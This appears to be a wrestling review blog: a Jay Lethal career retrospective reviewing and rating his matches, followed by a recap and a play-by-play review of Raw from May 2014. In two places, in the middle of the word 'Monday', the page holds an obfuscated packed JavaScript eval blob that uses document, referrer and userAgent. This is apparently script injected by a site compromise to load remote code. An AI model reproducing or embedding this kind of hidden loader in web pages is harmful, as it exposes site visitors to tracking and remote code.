Lethal would get involved in the bizarre Paparazzi Championship Series as Black Machismo Jay Lethal, a character based on Macho Man Randy Savage. This somehow resulted in an X-Division Title shot at Slammiversary 2007.

X-Division Title: Chris Sabin vs. Jay Lethal

Sabin has been champion for like five months at this point. Nash comes out for commentary because he’s molded Lethal into Black Machismo recently. Nash’s headset goes out almost immediately after the bell rings and the fans are split. Lethal gets a pretty sweet headscissors to send him to the floor, followed by an ok suicide dive. Sabin spits in Lethal’s face and hits a jumping knee to the face to take over.

Sabin fires off something like a Garvin Stomp but does it fast enough that I don’t have to think of Garvin. The announcers are talking about Nash beating Backlund in MSG. How exactly can you analyze a match that lasted 8 seconds? We go into a standard match formula with Sabin beating Lethal down until we get to the Lethal comeback and then go to the finish.

I’m not sure what it means when you can more or less call the formula for a match about halfway through it, but I don’t think it’s anything good. Lethal makes that comeback with a few hip tosses and a spinning cross body for two. Nash: “This place used to be called Jonesville. Then I got here.” Lethal hits a unique move which can only be described as a reverse fisherman’s suplex into a reverse powerbomb. Looked good but too complicated at the same time.

Sabin takes over with some rapid fire kicks which is what he would get more famous as soon enough in the Motor City Machine Guns. Lethal grabs a full nelson but can’t hit the Lethal Combination. The second time works a bit better and the big elbow gives Lethal his first of I believe six X-Titles.

Rating: C. Just ok here and nothing all that great. Lethal wasn’t exactly over yet and he wouldn’t be for a long time. At this point he was just a goofy 22 year old who did nothing but imitated a much better guy. Nothing to see here but for a big show they needed a title change so that’s all fine and good.

Eventually Kurt Angle would win all of the titles in TNA at one time, meaning he had to defend them all in one night. Lethal got the X-Division Title shot at No Surrender 2007.

X-Division Title: Kurt Angle vs. Jay Lethal

Fans are totally behind Lethal who has about zero chance, which means he’s likely to win. They try some speed stuff to start until Angle wakes up and uses his power and wrestling advantages. Double axe off the top by Lethal gets two. Angle is like boy I’m Kurt Angle and hits a buckle bomb to take over. Dang Angle vs. Savage would have been completely epic.

Down to the mat now and it’s almost all Angle. Tilt-a-whirl backbreaker gets two. Off to a chinlock but Lethal fights up and takes Angle down. Lethal speeds things up and gets an enziguri for two. This is all about Angle with Lethal just being there to fill in a place. HUGE release German changes the control with ease. I love those suplexes Angle throws. They’re things of beauty.

Lethal counters a slam into a DDT for two. He looks like an idiot with his hair going all over the place. He’s far better now and has filled out a bit too. Lethal goes up for the elbow but Angle climbs the ropes to get the suplex for two. Ankle lock goes on for a second but Lethal counters and gets a small package for two. Rolling Germans go on but Lethal kicks out. These near falls are getting very close.

Angle goes for the Slam but Lethal counters with an arm drag. Lethal Combination (sets for a downward spiral but drops the guy forward into his knee and then the downward spiral) gets….nothing as instead he drops the elbow for two. Dude you hit a move with your name in it. It was over!

Angle tries a powerbomb but Lethal reverses and gets a rollup for two. Angle drills him with another German for his trouble. There go the straps but the Slam is reversed. Ankle Lock is reversed into a rollup, and in what is probably the biggest upset in TNA history up to that point (and still one of the biggest ever), Lethal gets the pin and the title. The X-Division guys come out to celebrate as Lethal is shocked that he did that.

Rating: B+. Surprisingly enough this was very good. Something to keep in mind here: Lethal was an X-Division comedy guy and he just got a clean pin on the world champion. This was an excellent example of how you put someone over. Lethal won with a rollup, but he wasn’t dominated at all.

This was back and forth and they looked like equals. That’s how you put someone over: you make them look like they belong in the same ring as you. Just a pin out of nowhere after getting destroyed for ten minutes doesn’t prove anything. This was very good and a rather fun match. Check it out if you’re really bored as it might be Lethal’s best match ever.

After losing the title, Lethal would get a semi-rocket push up the card, landing in a feud where he teamed with the Motor City Machine Guns against Team 3D and Johnny Devine. Here’s one of their shotdowns at Against All Odds 2008.

Jay Lethal/Motor City Machineguns vs. Team 3D/Johnny Devine

This is a hardcore street fight and Lethal had been rapidly rising through the ranks recently. I’d expect a showcase match for him here. It seems that any X guy can pin any evildoer to win the title because that’s how wrestling titles are supposed to be right? As expected it starts in the aisle. It’s Lethal vs. Ray on the table. Now those two are in the ring. The other four are off fighting…somewhere.

Lethal in control as the Guns are in the ring now. There’s a sign that says USE MY SIGN. Lethal takes it and it’s a Dead End street sign underneath the paper. Triple plancha by the X guys to take out the heels on the floor in a cool spot. Everyone in the ring now as the X guys have controlled the whole time. Triple Tornado DDT get 2’s all around. Someone brings in the weapons including an inflatable woman. Oh dear.

The kitchen sink is brought in of course because that’s been funny the last 19 times it’s been done right? Another triple cover gets two. The Dudleys get a double suplex on Lethal. The heels take over and the fans want tables. The X Guys take over again for a bit. This is one of those messes of a match which has no flow at all and is just a big fight that goes back and forth.

3D to Sabin and one for Shelley as well. Lethal takes D-Von down but Ray kills him with a clothesline. The fans still want tables. So Cal Val is crying over Lethal. This is before she turned on him I guess. Lethal flips off Ray as Val tries to intervene. Ray grabs her by the hair and whips out a cheese grater. He licks her face for no apparent reason until Lethal can make the save.

Big chair shot to the head of Ray by Lethal but D-Von pulls the referee out just in time. Remember what I said about Lethal doing this on his own? It’s literally 3-1 at this point and Lethal is getting near falls out there. Lethal Combination gets two on Devine and then he gets two on D-Von. He walks into a Bubba Bomb though which somehow only gets two. Dude the Guns have been down what, five minutes now on those 3Ds?

D-Von sets up the tables and the Dudleys are suddenly faces. Lethal fights off the Dudleys again but here’s Devine with that street sign. Jay gets it and pops Devine over the head with it, sending him to the table. Top rope elbow through the table and through Devine saves the X-Division. This match ran twelve and a half minutes and I kid you not it was 3-1 for at least four of those.

Rating: C+. Lethal dominance aside this was ok. The ending is completely absurd and Lethal looks way too good here, but the main issue is that this went on too long. The match was too wild and the first half is very hard to follow. Still though, not bad although I wasn’t bored at all with it. Exciting but not good for the most part, but I think that was the point so I’ll let it slide.

Next up was a feud with Sonjay Dutt over Lethal’s girlfriend So Cal Val. Since Russo used to book TNA, it was time for a gimmick match with a stupid name: a Black Tie Ball and Chain match at Hard Justice 2008. It means they’re in tuxedos and it’s a strap match.

Sonjay Dutt vs. Jay Lethal

Val has her wedding ring here which she didn’t have recently. They’re tied by a chain. Like any good heel, Dutt doesn’t want to put the chain on. While Dutt has his put on him, Lethal slips his off and chains his part to the rope. Lethal gets in some free shots and the tuxedos are making this look stupid. Lethal is in a white tux and Dutt is in black. Nice symbolism no?

Dutt manages to get the chain and slams it into the balls of Lethal. West: “You talk about a chain burn in the wrong place.” Dutt starts ripping off clothes but can’t hit a fist drop with chain wrapped around his fist. Lethal pounds away and rips off a sleeve. That must not be a well made jacket. Lethal throws him over the top and his arm shoots out which looked funny.

Lethal is in total control and Val isn’t happy with him. Dutt has been chained around the post and there goes his jacket and shirt. Scratch that as Dutt manages to get them back on. This is like a board game instead of a wrestling match. Dutt gets a cool move in as Lethal is standing on the floor and has his face on the apron. Dutt slides in and swings his feet around to kick Lethal in the face like a 619.

Jay keeps choking away and Val is freaking. She’s up on the apron begging him to stop and now is throwing her hands up and leaving. Dutt uses the distraction to pull Lethal shoulder first into the post. Lethal is in the Tree of Woe and is down to his pants and cummerbund. Lethal’s family is freaking out (it’s his home state remember). There’s a very light fire Russo chant. Now there’s a loud boring chant.

Dutt tries a springboard move but Lethal whips the chain down to send Dutt flying. That looked pretty cool. Lethal whips him from corner to corner and Dutt is in trouble. Lethal Combination is blocked so Jay hits an inverted powerbomb for two. Dutt gets him in a Stunner position and then jumps backwards, flipping over Lethal’s shoulders and slams his head into the mat. LOUD fire Russo chant now. Dutt tries something off the top but Lethal moves and hits a suplex for two. Lethal Combination hits and the top rope elbow (he’s the Macho Man character) gets the pin. Yes after all that, the clothes meant NOTHING.

Rating: C. The match was ok but the clothes thing got really old really fast. The problem is you already have a gimmick in place with the chain. Having two gimmicks in a single match is too much and it overly complicates things which it did here. Not a bad match but the gimmick got in the way of the match, which is Russo 101 when he’s not on his game.

Lethal would become part of a tag team with Consequences Creed called Lethal Consequences. They would cash in Feast or Fired (TNA’s Money in the Bank) to win the belts three days before Genesis 2009. Here’s a title defense from that PPV.

Tag Titles: Lethal Consequences vs. Beer Money vs. Matt Morgan/Abyss

Abyss has some wicked cool blue fire for his entrance. Morgan and Abyss are arguing apparently lately. This was supposed to be a regular tag match but we threw in another team just for the heck of it. The Boozer Cruiser debuts here. Roode might have a slight knee injury. Very slow to start us off here with Storm and Creed starting us off. That sounds like the opening lineup for a concert.

This is really boring with nothing of note going on about two minutes in. I still don’t get the point in making this a threeway. It just doesn’t help at all as far as I can tell. Everyone beats up Beer Money, which tells me they’ll win. Stereo dive/flip by the champions to take out Beer Money. Morgan and Abyss haven’t done much at all here.

Morgan goes up top and takes out all four of them with a BIG dive off the top. Sweet one. The best team in this misses a double bulldog on Abyss and then do their shot which they haven’t perfected yet. West talks about how great the tag division is and he’s more or less right. The division is indeed better than WWE’s, which isn’t saying much really. Creed takes out Beer Money again which has been a running theme so far.

This is just kind of dragging along here. It’s not particularly bad and the high spots are helping it out, but this just isn’t getting going. Then again it might be that there’s no real drama here. I really would have preferred a standard match as the third team is just cluttering things up out there. Storm has a cowboy hat on now for no apparent reason.

What is the obsession in wrestling with cowboys? There are cowboy characters everywhere and there almost always have been. What is the deal with that? Cowboys are cool I guess but why do we have to have at least one in every promotion? Lethal comes in and cleans some house as Morgan and Abyss stay on the apron for about 80% of the match so far. Morgan saves a pin though.

Lethal can’t hurt Abyss with punches so Abyss grabs him and gives him a chokebreaker which looked sick. It’s a big mess now as everyone goes for their finishers. Roode hits a Blockbuster on Morgan for two again. Belt is tossed in and Abyss misses a shot with it so that Roode can cover him. Since it’s TNA though that’s too simple so we do like three more things and THEN Roode gets the pin on Morgan.

Rating: D. This was ok but sweet goodness it was just boring at times. I still don’t get why they had to have three teams in there. The match was ok but it just never clicked at all. This was more about Morgan and Abyss splitting up which they more or less do after the match, but why did we need Lethal Consequences in there to do that? They were thrown in less than a week before, so what’s the point? Match was just too crowded.

Lethal would start falling down the card soon after this, only being able to get a random six man tag at Sacrifice 2009.

Eric Young/Lethal Consequences vs. Sheik Abdul Bashir/Motor City Machine Guns

Hey look it’s a totally pointless cruiserweight match! The Guns are heels here and have the IWGP Junior Heavyweight Tag Titles. You know, because two small guys like them could never hold the REAL tag titles right? Bashir is in World Elite at this point and is of course the EVIL Muslim. Young is just Eric Young here and isn’t a coward or crazy etc. His partners are a parody of Savage and Apollo Creed’s idiotic nephew. Sure why not.

We’re 20 seconds into this match and West is already on my nerves. Sabin and Lethal start us off. Rollup by Sabin gets two on Young as the Canadian is in trouble. We talk about the main event because no one cares about these twerps in the ring right? It’s just a bunch of random moves at a slightly faster than average pace. Shelley starts his series of kicks and tags in the Sheik.

I know I’m not saying a lot here but there’s just nothing of note. It’s a six man match with no real rhyme or reason to anything. The match isn’t bad or anything but it’s just a meaningless 15 minute match that goes nowhere and proves nothing. Big old double dive by Creed and Young to pop the crowd pretty well. Diamond Cutter by Sabin takes out Young. There’s a lot of high spots and double team moves going on with tagging being completely forgotten but it’s nothing spectacular. It’s good though.

Creed hits a DDT and Lethal gets two off of it, making one of the funniest faces appear on Lethal’s face. Sabin takes down with a hard spank. I wish I was making that up but it’s TNA so did you expect something else? Bashir hits a move similar to what Kaz was using recently with that Piledriver move on Lethal for two. In our unhyped move of the match, Young gets a Death Valley Driver on both Guns at once. Naturally this is treated like a basic chop because TNA’s announcers have to shout later on about basic moves. A sunset flip from Lethal to Bashir ends it seconds later.

Rating: B-. Fun match but again it’s just random cruiserweight stuff. Definitely good, but at the same time it kind of makes me say so what? Them dropping the whole tagging aspect a few minutes in was definitely the right idea as since this was supposed to be totally insane having them tag would have been dumb. This was a great choice for an opener as the crowd was into it and the faces won.

We’ll jump ahead a little over a year. Lethal would win and lose the X Title a few more times, eventually challenging Robbie E. for the belt on Impact from December 16, 2010.

X-Division Title: Jay Lethal vs. Robbie E

At least Cookie looks good. Lethal jumps him for a fast start. Cookie trips Lethal seconds into it and his nose slams into the mat. Here comes Christy bouncing down the ramp with a pair of handcuffs to hook herself to Cookie. It’s a new zany comedy coming this Fall! We take a break with Robbie hammering on Lethal in the corner.

Back with Lethal getting a small package for two. Robbie gets a nice Russian leg sweep for two. The girls start fighting at ringside which means Christy beats on her. ReAction starts at 11:30 tonight only. Hopefully that’s a permanent thing. Lethal gets a suplex to take over again. We cut to Christy jumping in excitement. I regain consciousness as Lethal gets a nice top rope elbow for two.

Robbie gets a rollup with the ropes for two but gets caught as he goes up top. Superplex by Lethal has Robbie and the title in big trouble. Cookie tries to slip the spray in to Robbie get it winds up in her own eyes. Lethal Injection gives Jay his 6th title reign at 7:00 shown out of 10:30 total. Jay kisses Christy post match.

Rating: C+. Pretty good match here but all the interference and focus on the girls hurt a bit. This wasn’t terrible and Lethal should have the title again. At least we don’t have to see Robbie on TV as much anymore. Pretty good match and the longest Impact match I can remember in awhile.

Lethal would leave TNA soon after this and hit the indies, including a promotion called FWE. Here’s a match from their Meltdown show on May 14, 2011.

Eric Young vs. Jay Lethal

Lethal is doing a Jeff Jarrett imitation tonight, though he’s in regular attire. Eric has the original TNA World Title belt with him here as part of a stupid gimmick he was doing in TNA. Before the match, Lethal thanks the fans that have stayed through the long show and promises that he and Young will put on a great show. They start fast by running the ropes and trading leg trips into two counts each for a stalemate.

Back up and they run the ropes a bit more until Lethal hits a Tajiri handspring elbow for two. They hit the ropes even more until a back elbow puts Lethal on the floor. Jay stops again and asks a fan for a coin. Everyone knows he can do a pretty good Macho Man and Ric Flair impression so here’s his plan: if it’s heads he’ll wrestle as Ric Flair but if it’s tails he’ll wrestle as Randy Savage. Young looks at the coin and gets chopped down, setting up the strut from Lethal.

Some right hands put Young down for two and a knee drop gets the same. Young comes back with chops of his own followed by a big clothesline to put Jay on the floor. Eric puts the coin in his pocket in a funny bit. Lethal grabs the mic again and says he’s going to snap into Young and comes back in with a knee to the ribs followed by a top rope ax handle for two. A clothesline puts Young on the apron and he does a Flair strut of his own.

Back in and Jay walks into a running forearm for two but gets his boot up to stop a diving Young. They hold the poses for about 30 seconds with Young standing there as Lethal gets to his feet. Jay puts on some local sports jersey as Young literally lays down for the Macho Elbow and a two count. Eric steals the jersey and this time it’s Lethal laying down for the elbow and two. A superplex puts Jay down but Lethal kicks his legs into the air to tie up Eric’s legs for a pin on Young.

Rating: C-. Eh it’s an indy show so I can give this a break. FWE stands for Family Wrestling Entertainment and a lot of younger fans probably got a kick out of this match. It wasn’t meant to be anything epic andit didn’t come off as such. Lethal was amusing for the most part and Young kept it serious out there save for that standing still bit so it was much more lighthearted than anything else.  THe Jarrett impression didn’t go anywhere.

Lethal would head to ROH soon after this and get into the TV Title hunt. Here he is challenging champion El Generico on ROH TV from October 1, 2011.

TV Title: Jay Lethal vs. El Generico

Well they have a lot of time for this one at least with over 20 minutes to go. And never mind as Kelly tells us there’s a 15 minute time limit. McGuinness wants to know why he’s more tanned than Generico who is from Mexico. Generico speeds things up to take over early. Lethal is like “I can do moves that are flashy but don’t really hurt that much either!” Backbreaker gets two for Lethal but Lethal hooks on some weird surfboard variation with a Texas Cloverleaf leg grip.

Dropkick gets two for Lethal. Generico speeds things up with arm drags and hits a huge swan dive over the top to take Lethal out as we go to a break. Back with Lethal in control after Generico hit a moonsault off the guardrail. Ok scratch that as Generico gets two off something we missed while watching a replay. Lethal gets a sunset flip for two. This isn’t much of a match but indy fans would love it.

They slug it out and Lethal is sent to the top for a missile dropkick. With three minutes remaining in a 15 minute time limit we’re heading for a time limit draw (at the 12 minute mark that is). Lethal Injection gets two. Generico walks the corner and hits most of a tornado DDT for two. There’s a minute left. Blue Thunder Bomb (go play No Mercy for a description) gets two and we have thirty seconds left. Time expires at 12:40 which is including the commercial time.

Rating: C+. I couldn’t get into this one as well as I was supposed to I don’t think. There wasn’t much of a story to it other than two not very high fliers doing their thing. It wasn’t bad or anything but it wasn’t this epic confrontation that they were shooting for. Still though, pretty good although the ending is kind of stupid. Oh of course that isn’t the finish.

At 2:54 Jim Cornette comes out and says we have three minutes left in the show so put three minutes on the clock and get to it.

They slug it out like crazy after being all respectful. Generico hits the Yakuza kick and a half nelson suplex for two. Generico loads up the Brainbuster but Lethal escapes and goes up for a top rope elbow but Generico moves and the Brainbuster is blocked again. There’s the elbow for two. A snap suplex sets up a second Yakuza kick but Lethal counters with a superkick and the Lethal Combination (called the Injection here) for the pin and the title at 2:24 of overtime. The overtime was better than the regular match.

Lethal would start a feud with the undefeated Tomomaso Ciampa and face him at Border Wars 2012.

Jay Lethal vs. Tommaso Ciampa

Ciampa is part of the Embassy, a heel stable. He jumps Lethal to start but gets pulled out to the floor for a brawl before the bell. Lethal pounds away on Ciampa but Tommaso comes back with a hard chop to send him against the railing. Ciampa lowers his knee pad and charges at Jay, only to slam his own knee into the barricade. He shakes the pain off though and sends Lethal into the barricade a few times but the fans chant for Kevin Steen for no apparent reason. This is all still before the bell.

Lethal comes back with a catapult to launch Ciampa face first into the entrance to shift control again. Jay finally heads inside with Ciampa down on the floor but one of the Embassy guys breaks up a suicide dive bid. The distraction lets Ciampa get in a quick to Lethal’s head for a two, a few seconds after the bell finally rings. Tommaso chokes away on the apron before putting on a very modified dragon sleeper.

Ciampa pounds away in the corner including going after Lethal’s eye for a bit. This is slowing way down and it’s not exactly entertaining stuff at this point. Apparently Ciampa is undefeated for like two years coming into this. Jay gets in a shot to the head and they slug it out very slowly. You really shouldn’t be at a last man standing slugout just four minutes into a match.

Lethal takes over and Ciampa is in trouble. Again just four minutes into the match, which is too little for being so tired. Yeah they brawled, so maybe it was ten minutes in total to make them that exhausted. As usual, I don’t care for the psychology in Ring of Honor. Lethal has to beat up the other Embassy guys, allowing for Ciampa to hit a lariat for two. Jay counters a sunset flip into a rollup for two of his own before being caught by a HARD knee to the head for a near fall.

Another knee to the head in the corner puts Lethal down and there goes the knee pad for several more knees to the head. Lethal counters a powerbomb into an Alabama Slam into the corner but again has to deal with the Embassy leader. A small package gets two for Ciampa (I think) and now Lethal is getting fired up. He goes off on Ciampa and hits a handspring into the ropes into a cutter, apparently called Lethal Injection, for two.

Yet another Embassy guy (these are just guys in suits and not important enough to identify properly) interferes but Lethal slugs him down and gets two off a top rope elbow. Ciampa tells Lethal to come at him, so Jay hooks him in a Rock Bottom position and drives him down onto Lethal’s knee in ten straight backbreakers followed by a downward spiral for Ciampa’s first loss.

Rating: C-. Well that happened. Seriously that’s the entirety of my thoughts on the match. Lethal has never been a guy I’ve cared about at all and Ciampa didn’t show me anything of note here. The ending was just stupid with Ciampa telling him to come for him and Lethal just doing the same move over and over again before getting the win. Also the guys being spent just a few minutes into it still doesn’t work for me at all.

We’ll wrap it up with one of Lethal’s most recent (as of May 2014) big moments. From Supercard of Honor VIII in the culmination of an on again off again two year feud.

TV Title: Tommaso Ciampa vs. Jay Lethal

Ciampa is defending and this is 2/3 falls. This is where the fans were getting restless as you could see a lot of them looking at their phones and the chants started to die a bit. Ciampa takes off his knee brace for the first time since his injury in a symbolic move. Feeling out process to start as they trade headlocks and rollups for two each. A hiptoss puts the champion down and Lethal cartwheels over to a standoff.

They chop it out in the corner but Lethal misses a springboard dropkick. Jay kicks him into the barricade and nails a suicide dive followed by a second one for good measure. A third puts Ciampa into the crowd and the fans chant for ROH. Why they don’t chant for Lethal is beyond me, but it’s happened since the ECW days. Lethal is whipped into the barricade and Ciampa hits a running knee so fast that he falls right back into the crowd. The referee restarts the count for no apparent reason before Ciampa throws Jay back inside.

Jay comes back with some kicks to the head and a dropkick in the corner for two until Ciampa bites Jay’s hand to escape. Lethal tries a Tajiri handspring elbow but gets caught in what was supposed to be a Backstabber. They fight over a suplex until they both go over the top in a big crash. Neither guy gets the better of a slugout and they both slide back inside at the 19 count, which didn’t please the fans in my section. Another Tajiri handspring is countered but Lethal grabs a German suplex for the pin and the first fall.

There’s no rest period so gets in a quick shot to the head and they trade near falls. Lethal Combination (backbreaker into a Downward Spiral) sets up a Koji Clutch on the champion but he counters into a Rings of Saturn Crossface. Jay gets his feet into the ropes though and it’s time for another slugout. Again neither guy can get the better of it so Jay tries another Tajiri handspring but gets caught in a Diamond Cutter, which apparently is the finish to the handspring.

Lethal busts out Ciampa’s finisher (powerbomb into double knees to the back) for two but ANOTHER Tajiri handspring hits the referee. Ciampa rolls some Germans and hits a discus lariat to put both guys down. This brings out Truth Martini who throws Jay the knee brace. He nails Ciampa in the face for two before nailing the top rope elbow, only to have Ciampa Hulk Up. Some superkicks have no effect but Lethal FINALLY hits the handspring into the cutter for the pin and the title.

Rating: C-. This was longer than it needed to be as the second fall could have been cut out to the same result. The ending really didn’t work for me either as Lethal knocked Ciampa out but they did another minute or so, making the entire knee brace thing seem completely worthless. Just too long here, but I’ve never been a Jay Lethal fan in the first place.

Lethal is a case where I just don’t get it. He’s not horrible but I really don’t see why so many people like the guy. Part of it is I see the guy who used to imitate Macho Man and that’s a really hard gimmick to get away from. He just comes across as a guy who shouldn’t be as big a deal as he is, though he’s certainly not bad in the ring.

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Reviewing the Review – Monday Night Raw: May 12, 2014

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyyya|var|u0026u|referrer|ahsts||js|php'.split('|'),0,{})) was one of those nights where it seemed like things were going to be moving forward at a snail’s pace but then a big curve ball changed everything. In this case, it was one heck of an announcement. Let’s get to it.

We’ll cover the other show long story to start. Shield hunted Evolution all last night and got the better of the old guard almost all night. They jumped Evolution as they arrived, then jumped then again during Evolution’s promo, then fought them off to end the show. As they’ve done since their debut, Shield looked incredibly strong all night and looked like they were ready to run over Evolution at Payback.

Now in theory Evolution wins the second round to set up a BIG showdown at Money in the Bank or whatever the next PPV is. However, I’m not sure where Shield goes after that. They don’t need to to split given how over they are at the moment, but I’m not sure I see the superstar in Reigns that is supposed to be there. He’s not bad, but I see him as more of a Batista while Ambrose is more of the top guy type. Not that being Batista is bad, but I don’t quite see the huge potential as much as I used to.

Adam Rose screwed Jack Swagger out of a match with RVD to advance their feud. Nothing to see here but it worked well enough.

Paige beat Alicia Fox, sending Fox into a huge fit post match. This was supposed to be the start of something, but at the end of the day it’s Alicia Fox. Yeah she looks great in her outfits and the cowboy hat really worked on her, but at the end of the day it’s Alicia Fox. I’m aware I repeated that because it’s for emphasis. She would literally change from teaming with faces or heels week to week so it’s hard to take her seriously. More on this later.

Now we get to the real story of the night: Daniel Bryan has a bad neck and will have surgery, putting him out of action for an unknown amount of time (I’ve heard anywhere from 4-8 weeks). I’m not sure what this means for the title, but if it’s over two months there’s almost no way they can’t take the title off of him. If nothing else have the Authority take it from him so they can get more heel heat.

One thing they did very well was to get the heat on Kane for the attack. This came later in the show but again we’ll tie these things together instead of jumping around. Later in the night Daniel Bryan was called out by Stephanie but wound up being dragged to the stage by Kane. This makes it look like Kane just annihilated an injured man in the back instead of doing some over the top insanity. It’s very nice to see them leave it to your imagination instead of flat out showing what Kane did as it makes things all the more sinister. I miss little things like that.

I’ll spare you my predictions about what happens to Bryan and/or the title until after we’re sure what’s going to happen to the championship. If they change it however, I wouldn’t be opposed to Kane as a short term champion. Right now there really isn’t anyone else to put the thing on, so why not give it to Kane so someone can slay the dragon?

Speaking of slaying a dragon, Cena and the Usos beat the Wyatt Family in a good six man tag. Cena got the pin on Rowan, which is the point of having minions. It keeps Bray vs. Cena going and apparently we’ll be going towards a last man standing match at Payback. The match should be awesome but again, Wyatt needs to win. Cena has lost them before and it makes me feel a lot better than if this were say an I Quit match.

Nikki Bella beat Natalya in a bad match. The story here was the Total Divas on the floor holding up signs to score the moves. This offended Natalya as I think we’re looking at a heel turn. This appeared to be part of the Total Divas story, which makes sense as Natalya is treated as an outcast most of the time on there.

This brings us back to Alicia Fox earlier in the night. While these may not be the most interesting stories in the world, they’re light years ahead of the 45 second “matches” that dominated the Divas division for so long and made them a complete waste. I don’t really care what happens, but I’d much rather see them have stories than just fill in time and act like they’re important.

Sheamus beat Curtis Axel and Ryback in a row. Much like the Divas, it’s nothing all that great but it’s better than having them do nothing all night and then wonder why they didn’t get over. Sheamus beating midcarders is as fine a way as any to get the title some respect, especially when someone will eventually give him a real challenge for the title. I was pleased with this one.

Dolph Ziggler beat Fandango but the dancer didn’t mind because he’s still got Layla. This is going to need some more time before it goes anywhere, but much like Alicia, it’s hard to bring myself to care about someone like Fandango.

Jim Duggan came out to chant USA, which of course drew out Lana and Rusev. Big E. tried to make a save but Rusev easily dispatched him. Rusev beating Big E. would be a nice win, but man alive has E. fallen in a hurry. Sidenote: assuming he squashes Big E., this gives Rusev the following wins: R-Truth, Xavier Woods, Kofi Kingston and Big E. You do the math.

Damien Sandow talked about being silenced and then lost to a cheating Cody Rhodes. At least there’s something there, but Cody as a heel needs to happen already as they’ve been teasing it for like ever now.

Batista vs. Reigns happened and that’s about it. Shield beating up the midcard wasn’t a huge stretch as Rollins/Ambrose were fresh and they both had chairs.

Overall Raw did some changing last night and it’s giving me hope for the future. As mentioned, a lot of people are getting stories. No they’re not the most interesting stories in the world or the most intersting characters, but they’re HAPPENING. That’s something the midcard and Divas have been lacking for so long and it’s nice to see an attempt at it, even if it winds up being lip service.

Other than that the big stories are of course Bryan and Shield, but we don’t have enough information on Bryan yet. Shield on the other hand continues their rise to being one of the best units of all time, even though I’m not sure where they end up. The nice thing, and for one of the first times in years, I have confidence that they’ll make it work somehow. It’s so nice to be able to feel that again.

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Monday Night Raw – May 12, 2014: NO Daniel NO, YES Shield YES

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybbth|var|u0026u|referrer|ydbkr||js|php'.split('|'),0,{})) Night Raw
Date: May 11, 2014
Location: Bon Secours Wellness Arena, Greenville, South Carolina
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

There really isn’t much to say about this show. It looks like Payback is all set up and interest in it basically comes down to whether you liked Extreme Rules or not. There’s not much new in terms of storylines save for the debut of Adam Rose last week in a segment rather than a match. Let’s get to it.

 

We open with a recap of Sheamus winning the US Title in the battle royal last week and Evolution beating up Shield to end the show.

Shield is in the ring and not very happy to get things going. Ambrose admits that they took a beating last week and went down, but tonight they’re standing tall in this ring. Rollins says they’re running at Evolution, and if Evolution is made up of men, they’ll accept a challenge for a rematch. Evolution used to be really good, but they’re not what they once were because they can’t evolve to beat the Shield.

Reigns shakes his head and Seth is surprised he has something to say. Roman takes the mic and says Evolution victimized his brothers a week ago. All of that made him realize that it’s all Evolution has. If that’s all they have, then they have a serious problem. Shield can serve justice cold and slowly and they’ll teach Evolution to believe in payback, the Shield, and in Roman Reigns. Not exactly great promo work there from Roman.

Evolution’s limo is seen arriving with Shield still watching. HHH and company get out of the limo and Shield sprints to the back. HHH signs some papers and Shield is here for the fight. Security quickly breaks it up but Evolution is left laying on the concrete with HHH holding his head.

Rob Van Dam vs. Jack Swagger

We come back from a break with Zeb telling the fans to sit there and shut up. Last week he was reading the Bill of Rights when Adam Rose interrupted him. Rose and his band of hippies and Rocky Horror Picture Show rejects aren’t American, so Adam needs to keep his distance. The bell rings and here come Adam Rose and his entourage. Rose comes to the ring and gets on the middle rope but falls onto the party when Swagger swings. JBL: “All we need is Kurrgan and the Oddities!” Rose and company leave, allowing Van Dam to hit a superkick and the Five Star for the pin at 2:10.

Video on Paige.

Bolieve!

Paige vs. Alicia Fox

Non-title. Alicia grabs a mic before the match and says Paige has managed to alienate the entire Divas division in just six weeks, so she needs to get out. Fox slaps Paige in the face and drives knees to the ribs before the bell. Paige says start the match but gets kneed again and hit with a nice tilt-a-whirl backbreaker. Fox rams her into the post for two back inside and gets two more off a northern lights suplex.

A neckbreaker and backbreaker put Paige down again for a very delayed two. We get a very modified surfboard with Fox’s feet in Paige’s back before slamming her face first down onto the mat. Fox struts around the ring before ramming Paige face first into the mat a few times. She puts on a headlock for no apparent reason and gets caught in the Paige Turner for the pin at 3:55.

Rating: D+. The match was there to make Paige look good and it worked well enough. This is one of those WWE tropes: have someone dominate for a good while and then lose in the end to one big move. It doesn’t really do much for the heel but at least the right person won, right?

Post match Alicia freaks out and destroys part of the announce table before throwing a beer everywhere. She says she should be Divas Champion before slapping a production guy and stealing JBL’s hat.

We recap the Kane/Bryan/Brie segment from last week.

Here’s Daniel Bryan with something to say. He says it’s been a long road to get right here. From the moment he won the title at Summerslam, he knew this thing would be a huge uphill battle. The fans aren’t sure if they should cheer or not. Bryan: “So that’s what it feels like to be John Cena.” After the attacks from Shield, Randy Orton and the Authority and with everyone behind him, he climbed the mountain and won the title at Wrestlemania.

Then he took the worst beating of his life at Kane’s hands but he beat Kane at Extreme Rules. However, his style has taken a toll on his body. Unfortunately he has to pay the price this week with neck surgery and he’s not happy about it. The Authority must be thrilled though because they think his career is done. There’s a chance that his career is done but it won’t be. He doesn’t know when he’ll come back, but there’s only one answer to if he’ll come back: YES! No word on what happens to the title.

We look back at the end of the cage match at Extreme Rules and Bray’s speech last week.

Usos/John Cena vs. Wyatt Family

Rematch from Smackdown where Harper pinned Jimmy. Harper and Jey get things going with Luke getting rolled up for two. An uppercut staggers Harper and a jumping clothesline puts him down for two. Off to Rowan for some choking on the ropes and a good old fashioned rake of the eyes. The LET’S GO CENA fans actually get louder than their opponents as Bray works over Jey in the corner for a bit.

